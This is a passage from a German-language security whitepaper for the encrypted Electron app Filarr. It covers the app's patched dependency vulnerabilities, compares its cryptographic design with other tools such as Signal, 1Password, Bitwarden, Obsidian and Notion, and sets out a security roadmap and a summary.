Die ehrliche Grenze, die man eingestehen muss: Keine dieser Verteidigungen schützt vollständig vor einer kompromittierten transitiven Abhängigkeit, deren Nutzlast im Renderer läuft. Würde @tiptap/extension-foo morgen kompromittiert und schleuste JS zur Laufzeit ein, würde die CSP die Kommunikation nach außen blockieren, aber nicht die lokale Ausführung oder die Nutzung der bereitgestellten IPC-Kanäle (die zwar selbst geprüft werden, aber eine findige Nutzlast könnte mehrere Handler kombinieren, um ihr Ziel zu erreichen). Die robuste langfristige Antwort verlangt reproduzierbare Builds (deren deterministische Ausgabe es jedem erlaubt zu prüfen, dass das fertige Binärprogramm dem veröffentlichten Quellcode entspricht), regelmäßige und gründliche Audits und einen minimalen Umfang des Renderers. Das steht für die kommenden Versionen auf der Roadmap.

13. CVE-Verlauf

Am 18. April 2026, in Version 2.3.1, sieht die Angriffsfläche so aus: null kritische Schwachstellen laut npm audit, null Schwachstellen der Stufe high in den direkten Laufzeitabhängigkeiten und 47 transitive Schwachstellen, die alle auf react-scripts beschränkt sind. Dieser letzte Punkt verdient eine Klarstellung: react-scripts ist der Build-Werkzeugkasten von Create React App (webpack, babel-loader, jest, postcss usw.), der nur beim Bauen des Renderers verwendet wird. Die Schwachstellen, die er mitbringt (vor allem alte Versionen von webpack-dev-server und svgo), betreffen nicht die Laufzeit der paketierten Anwendung – sie liegen in der Build-Kette der Entwicklung. Wir beobachten und dokumentieren sie, betrachten sie aber nicht als Risiken für die Produktion.

Die jüngste Bereinigung der Angriffsfläche erfolgte in vier großen Schritten, die hier mit GHSA-Referenzen dokumentiert sind, wo vorhanden:

VersionUpgradeWichtigste behobene CVE
v2.2.0jspdf 4.2.0 → 4.2.1GHSA-wfv2-pwc8-crg5 – kritisches XSS, CVSS 9,6 (HTML-Injektion über New Window)
v2.2.0axios 1.7.7 → 1.15.0DoS über __proto__ in mergeConfig (GHSA-wf5p-g6vw-rhxx), SSRF über NO_PROXY, Abgreifen von Cloud-Metadaten per Header-Injektion
v2.2.0dompurify 3.3.1 → 3.4.05 Umgehungen des Sanitizers (Mutation-XSS, Umgehung von FORBID_TAGS über ADD_ATTR/ADD_TAGS, Prototype Pollution über USE_PROFILES, URI-Umgehung)
v2.3.0electron 39 → 4118 Electron-CVEs – Umgehung der Context Isolation über contextBridge VideoFrame, mehrere Use-after-free in Offscreen Paint/Download-Dialog/PowerMonitor, Pfadinjektion in setAsDefaultProtocolClient (Windows), USB-Geräte-Spoofing, Injektion von Kommandozeilenschaltern in den Renderer, Pfad ohne Anführungszeichen in setLoginItemSettings (Windows), Header-Injektion in eigenen Protokoll-Handlern und weitere
v2.3.0electron-builder 24 → 26Von Electron 41 vorausgesetzt

Zu diesen Upgrades von Abhängigkeiten kommen die 8 internen Patches aus v2.2.1, die an anderer Stelle dokumentiert sind: IPC-Path-Traversal, ZIP-Bombe, UUIDs per Math.random, deaktivierter Service Worker, Timing-Angriff beim Hash-Vergleich, strikte Prüfung des URL-Protokolls, erweitertes DOMPurify FORBID_TAGS, Fail-Closed bei safeStorage. Jeder dieser Patches wurde beim vollständigen Audit nach v2.2.0 gefunden und innerhalb der folgenden Woche behoben.

14. Vergleich mit anderen Tools

Um Filarr gegenüber Werkzeugen einzuordnen, mit denen man es im Ökosystem verschlüsselter Produktivität vergleichen könnte, hier eine zusammenfassende Tabelle der kryptografischen und architektonischen Entscheidungen der einzelnen Anbieter:

AspektFilarrSignal1PasswordBitwardenObsidianNotion
Zero-Knowledge-Speicherung✅✅✅✅k. A. (nur lokal)❌ (Server lesen alles)
DateiverschlüsselungAES-256-GCMAES-256-CTR + HMAC-SHA256AES-256-GCMAES-256-CBC + HMAC-SHA256❌ (Klartext)❌ (Klartext auf dem Server)
KDFPBKDF2-SHA-512 (KEK), Argon2id für andere Geheimnissek. A. (kein Passwort)PBKDF2-SHA-256 + Secret KeyPBKDF2 → Argon2id (schrittweise)k. A.bcrypt auf dem Server
Mehrere GeräteECDH + HKDFDouble RatchetSynchronisation per 1Password Secret KeyPasswort + GeräteschlüsselSynchronisation über Dritte (iCloud, kostenpflichtiges Obsidian Sync)Native Cloud-Synchronisation (nicht E2E)
Local-First✅❌ (Server für Push)❌ (Tresor verschlüsselt auf dem Server)Teilweise✅❌
Open SourceSource available (Desktop-Client, BSL 1.1)✅ (Server + Clients)❌✅❌ (nur das Plugin-Ökosystem)❌
Externes AuditGeplantTrail of Bits, NCC, wissenschaftlichCure53 (2021, 2023)Cure53 (2020, 2022), Insight Risk❌Extern (nicht öffentlich)
Zwei-Faktor-Authentifizierung (2FA)✅ TOTP + 8 Backup-Codes✅ Registration Lock (PIN)✅ TOTP, FIDO2✅ TOTP, FIDO2, YubiKey✅ (Obsidian Sync)✅ TOTP, WebAuthn

Filarr besetzt eine bestimmte Marktlücke: zwischen Obsidian, einem hervorragenden Local-First-Werkzeug, das standardmäßig nichts verschlüsselt und für Verschlüsselung auf Plugins Dritter angewiesen ist, und Bitwarden, vorbildlich bei Zero-Knowledge, aber ausschließlich Passwörtern gewidmet. Kein anderes Werkzeug verbindet Zero-Knowledge, Local-First und einen vollständigen Arbeitsbereich (Notizen + Dateien + Graph + Canvas). Diese Nische war der Grund, Filarr zu bauen, statt auf ein bestehendes Werkzeug zu setzen.

Die Unterschiede bei den technischen Entscheidungen erklären sich meist durch unterschiedliche Anwendungsfälle. Signal hat kein Nutzerpasswort, weil es eine Messaging-App ist, deren lokale Installation schnell und reibungslos sein soll – alles leitet sich aus PIN + Secure Value Recovery ab, einem raffinierten Protokoll, das eine verschlüsselte Version eines Hauptschlüssels auf dem Server speichert, die nur die richtige PIN entschlüsselt. 1Password hat den Secret Key, einen 256-Bit-Schlüssel, den der Nutzer außerhalb des Servers aufbewahrt (typischerweise als ausgedruckten QR-Code) und der mit dem Passwort kombiniert wird, um die Sicherheit zu verdoppeln. Wir haben dieses Modell für Filarr erwogen, aber die schlechtere Bedienbarkeit (bei jedem neuen Gerät eine zusätzliche Datei handhaben) wurde als unvereinbar mit der breiten Zielgruppe des Werkzeugs eingestuft – Nutzer, die regelmäßig ihr Passwort vergessen, würden auch ihren Secret Key vergessen, und die Supportkosten würden den Sicherheitsgewinn für die angestrebte Nutzerbasis übersteigen. Bitwarden verwendet AES-CBC + HMAC-SHA256, eine gültige Konstruktion für authentifizierte Verschlüsselung, aber langsamer als GCM und historisch anfälliger für Implementierungsfehler (Padding-Oracle, fehlender MAC); die Umstellung auf Argon2id läuft. Obsidian verschlüsselt standardmäßig nichts, weil seine Philosophie die größtmögliche Übertragbarkeit der Notizen ist (Markdown als Klartext); es gibt Plugins Dritter wie Meld Encrypt, aber die Sicherheit hängt dann von der Qualität des Plugins ab. Notion speichert alles im Klartext auf dem Server, und seine Datenschutzrichtlinie erlaubt Mitarbeitenden ausdrücklich den Zugriff auf Daten für den „Support“, was Notion in eine andere Kategorie stellt – zentralisierte Werkzeuge für die Zusammenarbeit, keine privaten persönlichen Tresore.

15. Sicherheits-Roadmap

Was wir noch nicht haben, ehrlich dargestellt: Ein unabhängiges externes Sicherheitsaudit wird mit einer ausgewählten Firma vorbereitet (Cure53 oder Trail of Bits, je nach Verfügbarkeit und Budget). Der geschätzte Rahmen liegt je nach Umfang zwischen 15.000 € und 30.000 € – wir bevorzugen eine breite Abdeckung gegenüber extremer Tiefe bei einer einzelnen Komponente. Der Abschlussbericht wird vollständig veröffentlicht, auch mit Befunden, die uns peinlich wären, denn Transparenz ist der einzige Weg, ein Audit in mehr Vertrauen der Nutzer zu verwandeln.

Die Authenticode-Signatur für Windows erfordert ein EV-Zertifikat (Extended Validation), das etwa 400 € pro Jahr kostet und eine KYC-Prüfung durch eine Zertifizierungsstelle verlangt. Sie ist in Arbeit, aber wir haben zuerst die Härtung der Laufzeit priorisiert. Ohne EV-Signatur zeigt SmartScreen beim ersten Start eine Warnung, die Nutzer wegklicken müssen – unelegant, aber nicht blockierend. Die Apple-Notarisierung für macOS folgt einem ähnlichen Weg: Die Anmeldung beim Developer Program ist erledigt, die Automatisierung in der CI läuft.

Reproduzierbare Builds verlangen eine deterministische Build-Umgebung, in der Kompilierdaten fest sind, die Reihenfolge der Dateien stabil ist und alle Eingaben unter Versionskontrolle stehen. Das ist eine Untersuchung für v2.4; das Haupthindernis ist, dass manche Abhängigkeiten (vor allem die nativen Prebuilds von argon2) wechselnde Build-Metadaten einbetten.

Post-Quanten-Verschlüsselung mit CRYSTALS-Kyber (2024 vom NIST als ML-KEM in FIPS 203 standardisiert) steht auf der Ideenliste, für die Kopplung und möglicherweise für langfristig gespeicherte Blobs. Der Ansatz wäre hybrid – klassisch + Post-Quanten kombiniert –, so wie Signal es 2023 mit PQXDH getan hat und WireGuard seit seiner Version 1.x. Der hybride Ansatz erlaubt es, nicht alles auf Kyber zu setzen (das kürzlich teilweise kryptanalysiert wurde), und dennoch widerstandsfähig gegen einen Angreifer zu werden, der heute Datenverkehr speichert, um ihn morgen mit einem Quantencomputer zu entschlüsseln.

Ein offizielles Bug-Bounty-Programm ist nach dem externen Audit geplant – wir wollen zuerst für die „einfachen“ Befunde bezahlen (die ein systematisches Audit findet), bevor wir ein Bounty eröffnen, das sie zum öffentlichen Tarif bezahlen würde. Ist die Basis sauber, ergibt das Bounty mehr Sinn.

Schließlich wird das eigene Protokoll app:// als Ersatz für file:// in der Produktion es erlauben, die Fuse GrantFileProtocolExtraPrivileges endgültig zu schließen und die CSP deutlich zu verschärfen (derzeit hat default-src 'self' unter file:// eine unscharfe Bedeutung; unter einem eigenen app:// ist sie sauber und strikt). Die Arbeit verlangt, das Laden des React-Bundles, der Schriften, der pdf.js-Worker, der Bilder und der i18n-Sprachdateien umzustellen und die gesamte Vorschaukette zu testen. Rechnen Sie mit ein bis zwei Wochen Arbeit plus intensiven Tests.

All das ist öffentlich auf der Roadmap dokumentiert, nicht versteckt.

16. Zusammenfassung

Wenn Sie aus diesem Artikel nur fünf Aussagen behalten sollen: Ihre Inhalte sind mit AES-256-GCM unter einem zufälligen Schlüssel verschlüsselt, den nur Ihr Passwort (über PBKDF2-SHA-512, 600.000 Iterationen) oder Ihre Wiederherstellungsphrase auspacken kann, und dieser Schlüssel verlässt Ihren Rechner nie im Klartext. Die Server von Filarr speichern nur undurchsichtige Blobs, die sie nicht lesen können – eine behördliche Anfrage oder eine gestohlene Kopie ihrer Daten liefert nichts Lesbares; ihre einzige Öffnung bis zum Ende der Übergangszeit bei der Anmeldung ist das Passwort eines Kontos, das es noch sendet und das ein kompromittierter Server abfangen könnte. Die Kopplung mehrerer Geräte verwendet ECDH P-256 und HKDF-SHA-256 mit Domänentrenner, dazu ein Geheimnis im QR-Code oder eine Prüfung mit sechs Ziffern, sodass der FEK Ende-zu-Ende ausgetauscht wird, ohne dass der Server sie rekonstruieren kann. Das Electron-Binärprogramm ist gegen alle bekannten Missbräuche gehärtet: 8 ausdrücklich gesetzte Fuses mit strictlyRequireAllFuses, contextIsolation, Chromium-Sandbox, strikte CSP, IPC-Allowlist, defensives DOMPurify und Schutz vor SSRF. Die Abhängigkeiten werden bei jedem Release geprüft; die Bilanz am 18. April 2026 lautet null kritische oder hohe Schwachstellen in der Laufzeit, nach 8 internen Korrekturen in v2.2.1 und 18 behobenen Electron-CVEs in v2.3.0.

Filarr behauptet nicht, perfekt zu sein. Es behauptet, explizit zu sein: Jede Entscheidung ist mit ihren genauen Parametern dokumentiert, jeder Kompromiss benannt, jede behobene CVE datiert und belegt. Ob diese Architektur zu Ihrem Bedrohungsmodell passt, entscheiden Sie – wenn ja, können Sie die App herunterladen, Ihr erstes Profil anlegen und Ihre erste Datei in wenigen Minuten verschlüsseln. Wenn sie nicht passt, schreiben Sie an contact@filarr.com mit dem Präfix [Security] im Betreff, was Ihnen fehlt. Antwort innerhalb von 48 Stunden an Werktagen, und keine Verfolgung von Sicherheitsforschern, die in gutem Glauben handeln (Safe Harbor).

17. Quellen und weiterführende Literatur

Standards und Spezifikationen

OWASP

Electron und Chromium

Angriffe und Forschung

Vergleichbares und Inspirationen


Mathis Belouar-Pruvot Gründer von Filarr – filarr.com Letzte Überarbeitung: 18. April 2026 (v2.3.1)